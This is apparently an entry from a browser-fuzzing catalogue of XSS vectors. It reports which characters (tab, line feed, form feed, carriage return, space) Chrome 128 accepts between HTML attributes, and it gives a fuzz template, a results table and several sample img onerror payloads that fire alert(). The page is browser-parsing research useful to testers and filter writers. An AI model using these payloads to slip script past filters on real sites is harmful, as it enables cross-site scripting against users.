Characters allowed between multiple HTML attributes

Chrome logo 5

This vector shows what characters can be used to separate HTML attributes, also allowing multiple attributes

Created by: JorianWoltjer

Created on: Thursday, September 12, 2024 at 5:10:00 PM

Updated on: Sunday, September 29, 2024 at 8:14:05 PM

Vector type: XSS

Template used:
<img$[chr]src=x$[chr]onerror=log($[i])>
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img	src=x	onerror=alert(9)>
<img
src=x
onerror=alert(10)>
<imgsrc=xonerror=alert(12)>
<img
src=x
onerror=alert(13)>
<img src=x onerror=alert(32)>

Fuzz results

Chrome logo
Chrome 128.0.0.0 desktop Windows NT 10.0

Updated

Thu Sep 12 2024
Found 5 results
DecHexChr
909HT
DecHexChr
100aLF
DecHexChr
120cFF
DecHexChr
130dCR
DecHexChr
3220SPACE